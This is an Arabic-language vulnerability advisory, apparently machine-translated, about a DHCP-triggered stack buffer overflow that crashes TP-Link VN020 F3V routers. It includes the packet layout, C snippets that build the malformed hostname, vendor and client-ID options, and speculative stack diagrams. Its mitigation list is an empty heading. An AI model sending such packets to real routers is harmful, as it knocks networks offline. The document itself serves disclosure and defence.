تم اكتشاف ضعف حرج في أجهزة التوجيه TP-Link VN020 F3V (T) التي تقوم بتشغيل إصدار البرنامج الثابت TT_V6.2.1021. يتيح الثغرة الأمنية للمهاجمين عن بُعد إثارة تدفق عازلة قائمة على المكدس من خلال حزم DECPACT المصممة خصيصًا ، مما يؤدي إلى رفض رفض الخدمة (DOS).
الأجهزة المتأثرة:
ملاحظة مهمة: نظرًا للطبيعة الملكية للبرامج الثابتة ، فإن تفاصيل التنفيذ الداخلية الدقيقة غير معروفة. يعتمد هذا التحليل على السلوك المرصود واختبار صندوق الأسود.
[Basic DHCP Header]
0x00: 01 ; BOOTREQUEST
0x01: 01 ; Hardware type (Ethernet)
0x02: 06 ; Hardware address length
0x03: 00 ; Hops
0x04-0x07: XID ; Random transaction ID
0x08-0x09: 0000 ; Seconds elapsed
0x0A-0x0B: 8000 ; Flags (Broadcast)
0x0C-0x1F: 0000 ; Client/Server/Gateway IPs
0x20-0x28: MAC ; Client hardware address
0x29-0x2C: 0000 ; Padding
// Overflow trigger through hostname option
unsigned char long_hostname [ 128 ];
memset ( long_hostname , 'A' , sizeof ( long_hostname ) - 1 );
long_hostname [ 127 ] = ' ' ;
add_option ( packet , offset , 0x0C , 127 , long_hostname );
// Vendor option manipulation
unsigned char vendor_specific [] = {
0x00 , 0x14 , 0x22 , // TP-Link vendor prefix
0xFF , 0xFF , 0xFF // Trigger condition
};
add_option ( packet , offset , 0x2B , sizeof ( vendor_specific ), vendor_specific );
// Claimed vs actual length mismatch
add_option ( packet , offset , 0x3D , 0xFF , ( unsigned char []) { 0x01 });
في حين أن التنفيذ الداخلي الدقيق غير معروف ، فإن السلوك المرصود يشير إلى مشكلات فساد الذاكرة المحتملة:
معالجة اسم مضيف DHCP العادي
Stack Layout (Normal Case)
+------------------------+ Higher addresses
| Previous Frame |
+------------------------+
| Return Address (4) |
+------------------------+
| Saved EBP (4) |
+------------------------+
| |
| Hostname Buffer |
| (64 bytes) |
| |
+------------------------+ Lower addresses
| Other Variables |
+------------------------+
ما الذي يمكن أن يحدث داخل جهاز التوجيه؟
Stack Layout (Overflow Case)
+------------------------+ Higher addresses
| Previous Frame |
+------------------------+
| Overwritten Return |
+------------------------+
| Overwritten EBP | <- Unknown state corruption
+------------------------+
| Overflow Data | <- 127 bytes of 'A'
| ... |
+------------------------+ Lower addresses
| Other Variables | <- Potentially corrupted
+------------------------+
هذا نظري ، وقد لا تكون بعض التفاصيل دقيقة تمامًا ، حيث توفر TP-Link البرامج الثابتة لهذا الموجه حصريًا لمقدمي خدمات الإنترنت.
قد يحاول جهاز التوجيه أيضًا إعادة تشغيله بنفسه كما هو موضح هنا بسبب الحادث كما هو موضح هنا:
لا يوجد تصحيح رسمي متاح حاليا. تشمل التخفيفات المؤقتة:
محمد ماتي الله